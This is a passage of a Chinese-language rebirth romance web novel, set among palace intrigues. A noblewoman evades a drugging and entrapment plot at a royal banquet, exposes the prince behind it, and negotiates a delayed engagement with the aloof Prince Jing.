时安被说得有些羞涩了:“好了,别说我了。”她认真:“夏夏,既然你不喜景王,也得找找机会相看相看别的人家了。”她并不是要逼着时夏嫁人。
只是,京城中优秀而又品格好的公子是有限的,若是等太久,便都被别人抢走了。
她希望时夏哪怕嫁人,也要永远幸福。
“二姐姐都还没定亲呢,我不急的。”时夏其实心中并没有特别好的人选。
前世,她的心思全都扑在谢行身上,别人根本不存在于她眼里。
“你平日让叔母多为你注意些,等定下亲事,京中那些谣言自然也就不攻而破了。”时安难得认真。
“知道啦!”
时夏心里却暗自思考。
的确,哪怕她这一世并没有像前世一样,林家一倒台便求着父亲去找谢行。
可京中谣言依旧满天飞,像昨日李游说的那些话,层出不穷,甚至还有更难听的。
可是,难道她只能通过嫁给别人,来证明她不爱谢行吗?
时夏不想随意嫁人,这是上一世的教训。
-
“时煜!”时煜最近越发顽劣了,从前至少还假装去一下书院,然后再偷偷溜出去玩耍。
现下竟然连着好几日不去了,时夏气得不行。
“你去不去书院?”时夏板着脸,目色沉沉。
时煜从未见过时夏这样的眼神,有些害怕,但还是硬撑着:“我,我不去!”
“好,好,不去是吧?”时夏气急反笑,她本也不要求时煜学多高的学问。
可时煜便是府中唯一的男儿。
若是时家出事,只有时煜能有机会护住时家。
哪怕护不住时家,也能护好自己,而不像前世那般,轻易死在战场上。
“姐,我不喜欢那些文邹邹的东西。”时煜低头:“我想习武,我要当将军。”
“不行。”她不是想为难时煜,但她真的怕,时煜要是选择习武,是不是又要走上前世一样的道路?
她承认,这样的想法有些极端了。
可古往今来,将士们十有九伤。
时煜前世的一切,最终换来的只是死亡。
她承认自己就是自私,她就是不想管那么多,就只希望自己的家人都能好好的。
“为什么?”时煜震惊不满:“明明你以前很支持我的!”
时夏却不再多说,挥了挥手:“来人。”
几个小厮出现,一左一右架住时煜。
“走吧。”时夏下令。
时煜拼命挣扎:“我不去!我要习武!”
但他到底只是个刚刚十岁的小屁孩,怎么挣扎得出?
拼命反抗挣扎的声音被越拉越远。
“夏夏,你知道吗?你刚才的模样特别像一个人。”时安感叹。
“嗯?谁啊?”时夏也好奇。
“景王。”时安摸了摸下巴:“冷着一张脸,两个字两个字的往外蹦,做事果断决绝,尤其是气势,简直一模一样,不知道的还以为你们一起生活了很多年呢。”
时夏却心里一惊,她竟然被谢行潜移默化了吗?
-
夜晚,时夏正在设计贵女们的衣服。
“小姐。”兰香俯身,在时夏耳边低语。
酒楼意外走水的案件调查好了,只是天气太过于干燥,意外走水。
时夏笔尖微顿,然后又自若开口:“我知道。”
“小姐,那明显就是借口啊!”兰香却不满极了:“那日绝不是意外!不然怎的整个酒楼,就那一个包厢走水了?而且大家明明都在大声呼救,却没有一个人前来救助。”
“可能是生意太忙了,没有注意到吧。”时夏落笔,一朵梅花在图纸上显现。
“小姐!”
时夏放下笔,耐心开口:“兰香,这事只能是这样。”
兰香和她一同长大,感情和真诚一直是没得说的,但问题也出现在这里。
太注重感情,有时候就容易忽略掉理性。
六公主是皇帝最宠爱的孩子,就连谢行都是远远比不上的。
皇帝又怎么可能为了她们几个贵女,处罚六公主呢?
第19章 接风洗尘
前世,她也是知道这不是意外,当时她和谢行的婚约已基本定下。
时夏便日日吵着闹着让谢行必须调查清楚,公布事实。
许是被时夏闹烦了,谢行终于开门:“好,但接下来几日,你不可再来景王府。”他面色冷硬,眼神里似乎还有几分烦躁。
但当时的时夏完全没有注意到,只满心想着,谢行要帮她,谢行要为她做主。
事实上,谢行也确实帮了她。
但她不仅那几日没有见到谢行,在后来的很久都没有。
谢行完成时夏的要求后,便直接带兵去往西域。
直到两人成婚前两个月才回来。
这样计算,两人当时有差不多一年半没有见面。
时夏经常给谢行写些酸诗,但谢行只偶尔回过一两封,还只是敷衍的“阅”。
时夏苦笑一下,前世的自己怎么这么蠢?
谢行这么明显的不喜欢,她竟然都没有看出来。
现在想想,或许谢行当时并不是被皇帝派出去的,而是自请,只为了躲掉她这个烦人精吧。
不过,现在也不必想这些了。
她获得新生,可以改变自己的命运,这已是莫大的幸运。
-
傍晚,时煜才耷拉着脸回府。
“上完课了?”时夏随手拿出一本书:“一点笔记都没有?”她哑然。
不愧是她弟弟,就连这不爱读书的劲都是和她一模一样。
后来嫁到景王府,许是谢行怕她给自己丢脸,便专门找了个夫子日日为她讲课:“好好学,别再写那些没营养的诗了。”
时夏当时只是撇撇嘴,便认真学习起来。
挺有成效,从写酸诗变成了写高级一些的酸诗。
“今日有哪些课业?”
“不知道。”时煜还在赌气。
“那就我给你布置。”说着,她便毫不犹豫地给时煜布置了数篇诗词进行背诵。
“姐!”时煜不敢置信。
“既然不想我来布置,明日开始,便好好去书院上课。”
面对时夏的威胁,时煜只能默默低头。
-
很快,便到了为时家大房接风洗尘这日。
虽说一家人已经到京城里几日了,但时家这次立了大功。
皇帝自然得特意设宴。
“多亏了时将军,有时将军乃大燕之福。”皇帝高兴,举杯。
时家自然受宠若惊:“都是陛下给的策略好,我们不过是一个执行者罢了。”
“哈哈哈哈哈.......”皇帝笑起来:“将军不必客气......”
宴会其乐融融。
“陛下,其实这次的胜利,还多亏了一个人。”大伯父举杯。
“哦?”皇帝来了兴趣:“带上来看看。”
很快,一个健壮男子出现在宴厅。
和京城中大多男子不同,他的皮肤更黑一些,但骨相极好,眉毛浓黑,眼睛却炯炯有神,加上那一身快把衣服撑破的肌肉,一看就是在战场上骁勇善战之人。
“陛下,此人名唤萧玦。”大伯父介绍起来:“他天生神力,武功极好,一个人便可轻松单挑数十名精兵。而且别看他一副只会打仗的模样,脑子却也转的快。这次战事,若不是他分析出来出来匈奴的陷阱,微臣恐怕就没有机会在这里同陛下讲话了。”
“夏夏,这就是前几日我同你说的人。”时安穿着时夏那日给她的衣裙,和时安小声窃窃私语。
“看着的确很会打仗。”时夏看着宴厅中心站着的男人,感叹。
“竟这般年轻有为?”皇帝大喜:“来人!重重有赏!”
时夏叹气,还是和前世一模一样。
皇帝虽知道萧玦很有能力,但他不愿意给萧玦权力。
已经有一个时家了,若是在来一个受时家提携的萧玦,皇帝放心不了。
听到皇帝只给了这样的赏赐,众人皆是惊讶。
以为皇帝起码会给一个普通的官职做做表面功夫,可皇帝竟然只赏赐了金银财宝。
众人皆是哑然。
“多谢陛下!”只有萧玦一脸傻样,满脸笑容的接下赏赐。
宴会继续,歌舞升平。
“时小姐,恭喜啊。”六公主不知何时到了时夏的身旁。
时夏有些警惕,还是礼貌性开口:“六公主,不知六公主所谓何事?”
这并不是她在装傻,确实,时家近日并没有发生什么好事。
“恭喜你要和我兄长定亲了啊。”六公主倒了一杯酒,递给时夏:“愿望成真,不值得恭喜吗?”
时夏皱眉,不明白六公主在胡说些什么:“公主,您恐怕是喝醉了。我并没有定亲。”
“装什么不知道?”六公主强硬地把酒杯塞到时夏手里:“怎么?看不起我?”
时夏暗道不好,这六公主摆明了就是冲着她来。
“六公主?”时安笑着:“我也想尝尝六公主的珍藏,不知可否给我尝尝?”
六公主脸色微微一变:“可以是可以,不过这酒是本宫特意为时小姐准备的,这第一杯,需得她喝。”
“抱歉,六公主,我今日小日子来了,怕是不能喝......”时夏垂眸。
“什么意思,不给本公主面子?”六公主冷脸。
“公主多虑了,只是我本就体弱,现下又是特殊时期,真的喝不得。”时夏一副谦卑模样。
六公主自然不买账:“怎么,要我求着你喝?”
时夏皱眉,目光下意识环视周围,思考该如何。
却意外和谢行对上了视线。
眸子漆黑如墨,神色低沉。
几乎是下意识,时夏就低下了头。
“行,不喝酒也行。”六公主突然松口:“这是本宫找人做的梨花酥,你拿去吃吧。”
时夏现在脑子有些迷糊,下意识拿了一块,咬下。
几乎是吞下的一瞬间,时夏就意识到不对劲。
这糕点里加了酒!
而且是浓度非常高的酒!
时夏睁眼闭眼,深呼吸,努力让自己清醒。
“夏夏,你怎么了?”时安担心。
“无事。”时夏起身,现下宴会才进行到一半,爹娘都不好贸然离开:“我出去一下,爹娘问起,你就说我去方便了。”
说着,她便起身,拼尽全力让大脑清醒,总算是走出了宴会厅。
夜晚有风,从宴会厅出来,凉快了些许。
时夏有些撑不住了,她一向不擅长喝酒,只要碰到和酒相关的,基本就是秒醉。
“兰香,扶我去边上。”时夏勉强开口。
兰香焦急,但现下也只能按照时夏说的来。
费力的挪到角落,时夏一手扶着墙,一手试图想往喉咙里伸,催吐,这是她目前能想到的最好的办法了。
“时小姐?”一道男声传来,时夏浑身一僵。
第20章 逃跑
时夏努力压下身体的不适,站直身子:“三皇子?”
“时小姐怎出来了?看刚才的情况......身子可有不适?”
“多谢三皇子关心,无事,只是出来透透风罢了。”时夏攥紧手,身体越来越无力了。
三皇子向前两步:“真的吗?”
时夏下意识想后退,可她刚才便在角落里,退无可退,反而脑袋不小心撞到了墙:“嘶。”
本就有些晕眩的脑袋,现下更是混沌。
“时小姐!”三皇子看见她撞到了,赶紧上前:“我带你去找御医看看吧。”
“无妨的,没什么大问题。”时夏再次拒绝。
可三皇子的脸色却阴沉了下来。
“时小姐。”他不再掩饰:“多次拒绝本王,是怕本王做什么?”
时夏扫视了一眼四周,大家基本都在宴厅里,外面只要零星几个宫女。
且此时若是闹大,怕是正好如了三皇子的愿。
这样想着,时夏才开口:“那便劳烦三皇子带路了。”
三皇子满意一笑:“这边请。”
夜晚有些闷热,醉意难以散去。
时夏摇了摇头,不行,得坚持住。
不知走了多久,到了一个房间门口:“时小姐似乎身体抱恙,太医院还有些距离,本王便擅作主张了,你现在此休息片刻,本王这就派人将太医带来。”说完,他身旁的太监立刻跑了出去。
时夏确实心里一紧,喝酒果然误事。
她怎么赶跟着三皇子走的!
而且三皇子今日这架势,怕是早已和六公主撺掇在一起,势在必得了。
“时小姐?”三皇子见时夏站在屋门口犹豫,声音加重了几分。
时夏撑起笑容:“有劳三皇子了,三皇子快回宴厅吧,陛下和大家都等着你呢。”
“无妨,本王在此等着太医。”
“三皇子带我来此休息已是辛劳了。”
“时小姐不必客气,我就在门口,有事可唤我。”三皇子丝毫不给时夏拒绝的机会,关上门。
时夏无力地跌坐在地上,她的头真的太晕了。
“小姐,我们怎么办?”兰香也明白三皇子想做什么。
她忍不住在心里暗骂。
一个个都为了时家的势力而来,连这样肮脏的手段都使得出来。
时夏拔下头上的一根簪子,垂手,一咬牙,在手心划了一下。
她丝毫没有收着力气,鲜血瞬间流出。
“小姐!”兰香错愕。
“嘘!”时夏伸手,兰香也反应过来,紧紧闭嘴。
疼痛让时夏暂时清醒了些,只是身体还是软软的,使不上什么力气。
兰香扶着她,费力起身。
推了推窗户,果然是被封死的
蜡烛。
她拿起一根蜡烛,往屋子后面的窗户烧起来。
这本就是偏房,平时都没有人来,做得简陋,只用纸简单做成了窗户。
一烧便破。
兰香也赶紧拿蜡烛,学着时夏那样。
很快,窗户便被烧出一个大洞,足够她逃出去了。
时夏拿茶水破向减弱的火苗,火瞬间熄灭。
她伸手,正准备翻窗而出,门口却又传来三皇子的声音:“时小姐,太医到了,现在方便进来吗?”
时夏眼神一凛,但还是弱弱开口:“稍等。”
然后便忍着疼痛,双手撑在还带着温度的窗户边缘,猛地一用力,翻身出去。
三皇子推门而入时,屋里空无一人。
只有地上散落的蜡烛和被窗户上被烧出的大洞诉说着发生了什么。
他脸色黑沉。
好,很好。本想给时夏留两分体面,她竟然赶逃!
那就别怪他不择手段了。
“给我找!”饱含怒气。
-
时夏逃出房间后,第一反应就是赶紧跑。
可她虽经常来皇宫,可现在是夜晚,且她并不熟悉这一段路。
刚才伤口的疼痛已经逐渐减弱,几乎察觉不到。
取而代之的则是晕眩。
可她不能倒下,她咬着下嘴唇,不知道去哪里,那就直线跑,跑得越远越好。
突然,额头出传来一阵疼痛。
眼前是一片黑,迷蒙间,她似乎看见了一张熟悉的脸。
谢行看着怀里的女子,罕见地沉默了。
他今晚本是乘机来调查一些事,正等着何时的时机,时夏不知道从哪里跑出来。
然后一头撞在他的身上,晕倒。
兰香大惊失色:“四皇子!”她跪下,战战兢兢,内心暗暗祈祷谢行能够放她们一马。
可谢行并不说话。
“怎么回事。”谢行最终还是开口。
兰香松了一口气:“求四皇子救救我家小姐!小姐,小姐半点不能碰酒,六公主给的糕点里正好加了酒做材料,小姐出来透气,正好遇到了三皇子。”后面的她便没有在说下去了。
谢行低头,看了一眼怀中女子。
真是够蠢的。
“四皇子?”兰香小心开口。
她实在不知谢行会不会帮时夏,毕竟,时夏也曾严词拒绝过他。
“走吧。”谢行淡声开口。
“多谢四皇子!”兰香大喜,伸手要来扶时夏。
可晕倒的人很难扶稳,兰香一个人的力气自然是不够的,她一拉,时夏便软软的要往地上摔。
她费力半天,还是不能从谢行怀里扶起时夏。
终于,谢行不耐烦了,大手一揽,便将时夏抱起,冷声:“走。”
“四皇子?这......”兰香担心,这若是被人看见了......
谢行冷冷撇她一眼:“不会有人看到。”
话音落下,便疾步往更加黑的地方走去。
-
那是一个破落的屋子,小小的,只放了张床和饭桌便占满了空间。
让人完全想不到,这竟然是在皇宫里。
“四皇子?”兰香看着躺在床上的时夏,担忧。
“等着。”他怎么就脑子一热,选择来帮她?
今晚不仅正事没办成,反而把时间都耽误在时夏身上了。
很快,房屋门被推开,一个满脸白须的老头走进来,他看了一眼床上的时夏:“难得啊,四皇子竟然会心软。”
谢行冷脸,一个冰冷的眼神射过去。
老头讪笑:“呵呵,开个玩笑,不要生气嘛。”
说着,他便开始为时夏诊脉:“这姑娘是谁啊?”
“不重要。”
“不重要,那我可就走了?”老头说着就要起身。
“四皇子!”兰香一听,着急开口。
“宋方林。”谢行沉声。
宋方林这才坐下,笑着开口:“年轻人,不要火气这么大嘛。”
“无事,就是酒参了点药,正好她不能喝酒,现在晕倒了,休息休息,醒来就好。”
第21章 伤药
宋方林坐在桌旁,拿出一张纸,大笔一挥。
“照着这个方子,调养调养,没有什么影响。”其实时夏现在的状态不需要用药,只是那酒中参的东西,虽然量少,但终究也会伤身体。
他把方子递给谢行,谢行冷冷瞥了一眼。
兰香赶紧上前,接过方子:“多谢医师。”
下一瞬,她骤紧眉头,这字,已经不是龙飞凤舞能表达的程度了。
任务完成,宋方林也就准备离开,兰香焦急开口:“医师,能否帮我家小姐开点治疗外伤的药?”
“外伤?”
“小姐为了保持清醒逃出来,用簪子划破了手......”兰香蹲在床边,把时夏的左手展开,白嫩的手心上,赫然是一道血口。
虽血液已经凝固,但依旧可以看出伤口很深。
时夏必是半点没给自己留情的。
谢行淡漠的眸子多了几分兴趣,真是意外。
这个去永宁寺都要装满十辆马车娇娇女,竟然如此舍得。
倒是小瞧她了。
“这......”宋方林皱眉,他本就是被谢行突然喊来的,只带了点最基础的伤药。
倒不是不能用,只是这伤口,若是不及时用好的药物,怕是会留下疤痕。
想到这里,他看向谢行。
谢行不耐,还是扔出一个小瓶子。
“多谢四皇子!”兰香手忙脚乱的接住药瓶。
“医师,这药是如何用?”
“洒在伤口上就行了,要不了多久,这伤口便恢复如初。”宋方林在小箱子里翻找纱布。
很快,时夏的伤口包扎完毕。
她静静地躺在床上,小脸苍白,眉头紧紧皱着,仿佛梦到了什么不好的事情。
谢行并不想管这么多,今日帮她喊来宋方林已是仁至义尽。
他转身便准备离开。‘
可下一瞬,娇软女声响起,似有若无:“谢行......”
他脚步一顿。
转身回来,站在床边,居高临下。
“谢行......”这次声音更加真切了,还带了几分哭腔。
兰香大惊失色,连忙跪在地上:“四皇子恕罪!”
小姐竟然直接喊四皇子的名字!兰香额头冒出一层冷汗。
谢行没有说话,只是看着时夏。
他倒是好奇,这时夏既不愿嫁给他,也不愿与他合作。
今日,醉酒昏迷,却又在梦中喊他的名字。
“混蛋!”时夏的声音再次响起:“混蛋谢行!”
屋子里的温度骤然冰冷。
兰香两眼一黑。
谢行却似乎是被气笑了,冷笑一声,甩袖而去。
-
宴厅里一片热闹。
六公主突然开口:“诶,时三小姐怎的不在?”
谢行懒懒掀起眼皮,扫向六公主,蠢人一个,被利用了都不知道。
众人目光随之看过去,果不其然,时安旁边的位置是空着的。
“宫里饭菜太过好吃,夏夏忍不住吃多了些,出去消消食。”时安微笑。
“哦?这样吗?”六公主点头,目光往三皇子的位置看过去:“真巧,三哥也不在,不知他们二人会不会遇上。”
众人皆交头接耳,议论纷纷。
时家几人脸色黑沉,这六公主不就是想说时夏和三皇子私会?
虽说大燕国风开放,但若是这谣言传出去,假的也不得不变成真的。
坐在太后旁边的颜挽笙忍不住了,她被太后宠着,一向脾气暴:“六公主,这宴厅里出去透气的人可多了,都会遇见?况且,我记得你刚才也出去了吧,不知道遇见了谁?”
众人点点头,确实,晚宴漫长,很多人都会出去走走,透气。
这都是默许的。
而且,六公主不久前,确实也出去了一会儿。
“你!”六公主瞪着颜挽笙,颜挽笙也回瞪回去。
“好了。”正当二人僵持不下之时,一道威严的声音传来,皇帝发话了:“时三出去多久了?”
时安低头:“刚出去。”
“你胡说,她明明半个时辰前便出去了!”六公主拍案而起。
皇帝摆摆手,示意六公主安静些:“罢了,那就派人去寻寻吧,就说,她最爱的糕点上了。”
颜挽笙还想再争辩些什么,却被太后制止。
“真的吗?陛下?”一道清亮声音响起,赫然是刚才的话题中心,时夏。
“我可等着吃泥枣糕好久了!”她娇嗔一笑。
美人一笑,倾国倾城,看得周围的公子哥们都低下了头。
一直默不作声的谢行转了转手中茶杯,醒得倒是快。
“朕怎么会骗你?”皇帝摆手:“你看,你出去这么久,再不回来,这泥枣糕都不新鲜了。”
皇帝与时家关系好,加上时夏之前救过九公主,也能开开玩笑。
“唉,都怪臣女,不小心吃了加了酒的糕点。”时夏叹气,边往座位走边开口:“臣女本想出去透透气,可谁知道,脑袋晕乎乎的,竟然摔了一跤。”
她把包着纱布的手伸出:“臣女的手被地上的石子划破了,可疼了呢!”
时父和江氏一听,连忙站起身:“夏夏?”他们担心极了。
从前时夏被娇养惯了,半点痛都受不了。
“无事啦,爹娘,不用担心。”时夏笑笑,安慰两人。
这边一片祥和,六公主却咬牙切齿:“不可能!你明明应该在......”
“哦?六公主认为我应该在哪里?”时夏眼神懵懂,似乎什么都不知道。
“来人,带六公主回去。”皇帝脸色黑沉。
他怎么会生出这样愚蠢的女儿!
小小年纪就算计别人,还算计不清楚。
今天这一出,谁能不明白是她故意给时夏吃加了酒的糕点,想设计时夏与他人私会?
“三皇子呢?”想到这个儿子,他也是一股气。
“不,不知......”一旁的太监战战兢兢。
“去找!”
-
偏殿,三皇子眼神阴骘:“还没有找到吗?”
太监纷纷跪下:“三皇子恕罪......”
“好,好,好得很,竟然让他逃了。”他表情阴狠。
从侍卫身上拔出长剑,瞬间,血腥味弥漫开来。
“三皇子!”一暗卫匆匆忙忙跑来,对眼前的场景已经习以为常,他跪地抱拳:“殿下,皇上在到处派人找您。”
三皇子冷笑一声,扔下剑:“把这里收拾干净。”
这处宫殿离宴厅并不算很远,三皇子走路也快,很快就赶回宴厅。
“父皇?”他笑着开口,“不知何事急着寻儿臣?”
“你去哪里了?”皇帝神色难辨。
“儿臣酒喝多了,便出去透透气。”他神色自然。
时夏却突然开口:“三皇子这衣角,红红的?是血吗?”
第22章 再提
既然三皇子这样算计她,可就别怪她了。
时夏仿佛突然意识到自己说错话了,连忙跪下:“三皇子恕罪,是臣女说错话了。”
三皇子面色一僵。
“你胡说什么呢!”六公主立刻就站起来反驳时夏。
“老三,过来。”皇帝开口。
语气平静,可身上的威压却是更加重。
宴厅里一片死寂,群臣皆低下头,屏气凝神,不敢发出半点动静。
三皇子咬牙,还是只能按照皇帝说的,上前走去。
他一向爱穿白衣来展现他的风度翩翩,可白衣的缺点也很致命,什么颜色在上面都格外显眼。
他来得匆忙,白衣上不仅有血渍,还有明显的血腥味。
“父皇,儿臣刚才突遇袭击,为了自保,这些......都是刺客的血。”三皇子作揖。
“刺客?”皇帝怀疑:“朕为何半点未听到动静?”
“儿臣不愿饶了父皇的兴致,且儿臣也未受伤,不必惊动父皇。”
一直在看戏的七皇子出声,吊儿郎当:“三哥真是好本事,这么大的事,都能瞒得好好的,让父皇都半点不知。”
时夏抬眼忍不住在心里冷笑。
七皇子表面仗着皇帝宠爱,整日只知玩乐,实际扮猪吃虎。
前世她嫁给谢行后,某次去书房给谢行送饭,却正巧撞见这七皇子在和谢行谈论事情。
当时的谢行脸色黑沉:“出去。”
那是他们婚后,谢行第一次对她冷脸。
她也委屈,本就不是故意的,而且在她看来,夫妻二人,有什么不能看的?
由此,两人冷战了一段时间。
果然,皇帝脸色更加不好了。
谢行漫不经心,看向角落,对上视线,那人明白后迅速出宴厅。
“陛下,陛下!”突然,一个太监从宴厅外跑进。
太监似乎是看见了什么不好的场景,颤抖着跪在地上:“陛下!烟...烟兰殿......”
三皇子一听,目光如刀般刺向太监。
“三哥,别这样,这小太监都被你吓到了。”七皇子笑。
“说。”皇帝对这个儿子已经不抱希望了。
“烟,烟兰殿偏房有几具尸体......”太监极力控制着恐惧,颤抖着说完这句话。
这烟兰殿乃贤妃的宫殿。
“是几位刺客的尸体,儿臣还未来得及处理。”三皇子额上已冒出冷汗。
即便知道这理由很不合理,但他也只能这样说。
那太监却又颤颤巍巍补充:“是常跟在三皇子身边的几位......”
皇帝勃然大怒,抄起桌上的酒杯便向他砸去:“逆子!”
三皇子未躲,酒杯狠狠砸在他的额角,血液流出,冷汗和伤口碰上,疼痛让他勉强维持住表情。
贤妃连忙跑出,泪流满面的跪在三皇子旁边:“陛下恕罪!轩儿,轩儿他只是年纪小,不懂事......”她打了谢轩一下:“你快给你父皇道歉啊!”
“......儿臣愿任父皇责罚。”谢轩垂眸,挡住眼底阴狠。
“都要娶妻了还小呢。”颜挽笙小声嘀咕了一句,太后瞥了她一眼,只好默默噤声。
她的声音虽小,但在此刻的宴厅里,还是显得格外明显。
皇帝脸色更加黑沉:“来人,把三皇子押下去,听候责问。贤妃管教不当,禁足一年,贬为贵人。”
说罢,便大步离开。
一场庆功宴不欢而散。
-
时夏手受了伤,但好在是左手,右手还能继续画设计图。
只是没有左手辅助,自然还是没有那么方便,画稿的速度也慢了不少。
这不,云杉纺又派人来催促了:“时小姐,您看这设计稿......”
“三日。”自从知道云杉纺的东家是谢行后,时夏便不给东家好脸色了。
她本是不想继续合作的,可那契子上签订了两年,她当时为了避免云杉纺中途要求加稿子,还特意提高了违约金。
本身和云杉纺合作就是为了降低成本,让时家多一条路可以走,现在她若是违约,哪怕对时家来说,也是一大笔钱。
且在京城之中,确实是没有能和云杉纺先媲美的铺子。
三日后,时夏派人将稿子送去,可云杉纺那边却要求时夏亲自去。
时夏一听便知道又是谢行的手笔。
烦躁,却又无奈只能前往。
掌柜的满脸堆笑:“时小姐请。”
时夏没理,就连兰香也翻了个白眼。
谢行又在那个雅间。
时夏忍不住腹诽,他也知道见不得人。
“景王,这是您的稿纸。”她扔下稿子,福身准备离开。
“坐。”谢行没有拿起桌上的稿纸,反而是给对面的茶杯倒上了茶。
“景王,孤男寡女,传出去不好。”
“你觉得,本王会让旁人知晓?”
这地方全是他的势力,旁人自然不知,更何况,旁人连这里还有一个雅间都不知道。
时夏无奈,谢行今日是打定了注意,她必然不是轻易能走掉的。
“景王有何事?”她终是坐下。
“前几日,本王帮了你。”
“多谢景王......待家父有空时,必定登门道谢。”时夏是从兰香那里知道了的,只是她不想和谢行见面,本想着让父亲独自前去道谢的。
“五日后,休沐。”谢行点头。
“那到时,臣女必定和家父一起感谢景王。”说罢,时夏又准备离开。
谢行手指微曲,敲了敲桌面。
时夏起了一半的身,又默默坐下。
“合作,如何?”谢行发起邀请。
“景王这是何意?臣女听不懂。”
“庆功宴那日后,时大人很忙啊。”谢行感叹。
时夏沉默,确实,那日她冲动了。
当众揭发三皇子,虽皇帝震怒,将三皇子驱逐去边疆,过年前不能回京。
但好歹是皇帝的儿子,这么多年,手里必然还是掌握了不少力量,虽不能损害时家的根本,但时家也不会轻松。
而若他想要针对时夏,根本废不了多说力量,时夏便可能彻底消失。
尤其,现在三皇子还未离京。
时夏暗自懊恼,当时满脑子只想着要报复回去,没有好好考虑。
“你想得太简单了,父皇虽气三哥,但因为你,当众闹出那样的事,你觉得父皇心里就没有半点芥蒂?”他又补充:“更何况,若不是本王派人送来尸体,三哥现在可不会是这个结局。”
时夏心里一惊,内心更加懊悔,人果然不能冲动:“我如何相信,那几具尸体是你找来的,而不是那太监偶然看见?”
“你信的。”谢行轻笑。
时夏沉默,确实,整个京城,只有谢行有这样的能力。
“而且,谢蕴的事,我可以帮你。”
第23章 那就,静候佳音了
时夏抬眼。
谢蕴,六公主。谢行怎么会知道。
“景王说笑了。”谢行必定是又调查她了。
也是,像他这样的人,必然是要把所有事情都牢牢掌控在自己手中的。
“也只有我,护得住时家,和你。”谢行再次开口。
的确。
大皇子整日游山玩水,三皇子被外遣,七皇子没有对皇位的追求,若不是为了感谢谢行,是不会选择加入谢行一党的。
至于剩下几个皇子,年纪都还小,暂时都没有竞争力。
可以说,三皇子走后,“太子”这个位置应该稳稳的落在谢谢手上的。
她不由得想到前世,可不知为何,直到她死,谢行也依旧只是景王。
时夏深吸一口气,微笑:“不知景王想要如何?”
“时小姐似乎还未定亲。”
“景王殿下,我可以和你合作,但定亲恕我不能同意。”
“为何?”
谢行觉得时夏真的变了。
从前,因着他和林家的婚约,她虽从未明确表达,但有眼睛的人都能看出她的好感。
可近日来,她不仅不再来找他,甚至故意躲着。
这里面一定发生了什么,可竟然连他都没有发现。
突然,隔壁传来一阵动静。
谢行眼神一凛,几个暗卫不知从哪里出现,从窗户进入隔壁。
随后便是打斗声。
谢行的暗卫明显要比那些人强很多,不过片刻,便把人全都抓获。
“殿下,是三皇子的人。”一人过来报告。
“带下去。”谢行挥挥手,眉毛微挑:“听到了吗?”
时夏心里一惊。
三皇子人一直跟着她,若不是她今日是来找谢行,而这云杉纺恰巧有一间别人都不知道的雅间。
怕是现在她早已没了。
“你给我两年时间。”时夏稳住心神,尝试和谢行谈判:“两年后,若是你还未定亲,那便订婚。”
“太久了。”谢行一向追求效率。
他和时夏订婚本就是为了利益,两年后,他还需不需要时家都不一定了。
“那你想多久?”
“六个月。”
“不行!”时夏也否定:“最短一年。”
她得在这期间把时家的事情都解决,还要找一个合适的夫婿。
六个月远远不够。
是的,时夏并没有打算真的和谢行订婚,只是合作。
反正在订婚之前,旁人都不会认为她和谢行有什么关系,她可以挑选夫婿,只是要和谢行避开些。
“给我一个理由。”
“二姐姐还未定亲。”时夏纠结着给出这样一个答案。
“她心仪谁?”
“二姐姐的要求很高,还没有找到心仪之人。”时夏暗自在心里给时安道歉。
谢行眼底如墨:“若是一年后她还未定亲呢?”
“一年后,无论二姐姐是否定亲,我都嫁。”时夏咬牙。
“那就......静候佳音了。”
“但是,在这一年内,这件事不能让任何人知道!在别人眼里,我们就是不熟悉的样子。”时夏再次提要求。
谢行皱眉,虽然没有什么影响,但他需要一个合理的理由。
“...我有些事要做,不太方便让旁人知道。”她干巴巴的解释。
“我不会向别人提起,但也不会刻意避开。”谢行淡淡开口。
“好。”时夏点头,谢行不避开,她可以呀!
-
“夏夏!”时夏一回府,时安就冲上前来。
“二姐姐?”
“你看这身衣裙适合我吗?”她前几日特意去买了几套新款衣裙。
“很好看呀!”时夏调侃:“我都要爱上二姐姐了!”
“那就好!”时安一脸自得:“我可打听好了,明日,许临要去食鼎楼。”
再过半个月她就又要离京了,她得抓紧时机。
“二姐姐想?”时夏有一种不好的预感。
根据她的经验来说,许临在,那么谢行多半也在。
如果再大胆一点,说不定那食鼎楼也是谢行的。
不然谢行为何不去云杉纺,而去食鼎楼呢?
“明天你陪我去食鼎楼好不好!”时安嬉笑。
“二姐姐可和许公子商量好了?”时夏有些纠结,她现在和谢行的关系有些奇怪。
“这你不用在意,你就陪我去嘛!”
最终时夏还是心软答应了。
翌日,天还未亮,时安就来到时夏的房间:“夏夏!夏夏!”
时夏生无可恋。
她就不该心软,谁能想到时安以前从来懒得打扮,今日竟然天未亮就开始准备。
而且还拉着时夏给她做参考。
“夏夏,你说我这身裙子配哪个披帛更合适呀?”时安纠结极了。
时夏打了个哈欠,泪眼朦胧:“嗯,黄色的吧。”
“夏夏,你看这个发簪如何?”
“夏夏,你说这簪子是戴在左边合适还是右边合适呢?”
终于,不知过了多久,时安收拾好了。
时夏揉了揉眼睛,许临何德何能,竟然让二姐姐做到这个地步。
“夏夏,时间还够,我帮你选衣服和簪子呀!”时安拉起瘫倒在床上的时夏。
“啊?不用了吧,今日你去见许公子,我随便怎么样都可以的。”
“不行,你是我的脸面!”
时夏无奈,任由时安和兰香打扮她。
终于,两人收拾好了,出门。
时夏看了看自己娇艳的裙子,又抚了抚头上的发簪。
会不会太过了?
“走呀夏夏!”时安挽着她,很快到了食鼎楼。
报了名字后,小厮满脸堆笑的带着他们去了包间。
“请。”
二人推门,果不其然,里面分别坐着许临和谢行两人。
时夏感觉有些尴尬,前一日还对人家说订婚之事一年后再说,今天就打扮成这样来见面。
不过,她的目光移向谢行。
这衣服......他今日看起来也特意收拾过。好吧,谢行平时也这样好看。
“许公子?”不给时夏继续尴尬的时间,时安已经拉着时夏进去,和许临打起了招呼。
时夏也冲着许临和谢行礼貌性的点头。
她现在更尴尬了,一个是她主动谈论过婚事,甚至想要挑拨离间的人,另一个......
她再次在心里悔恨,真的不应该心软。
许临:“不错啊。”
“你也是。”时安夸赞。
时间回到昨日。
因为时夏有事,时安只能一个人在街上闲逛。
谁曾想,正巧碰上了许临。
“许公子?你怎么在这里?”
时安似乎是回忆了一下,才开口:“时二小姐?”
“对,是我!”时安很开心,被记住了,这是第一步:“你在这里是?”
“唉,本来是景王喊我去云杉纺谈事。”他叹气:“可刚坐下,就有人传报说有人找他,景王直接把我赶走了,让我半个时辰内都不许回去,我就只能来逛逛了。”
“云杉纺?”时安回忆:“夏夏今日一大早便出门,说要来云杉纺,还不让我陪着。”
两人对视一眼。
所以,谢行是和时夏见面。
第24章 点菜
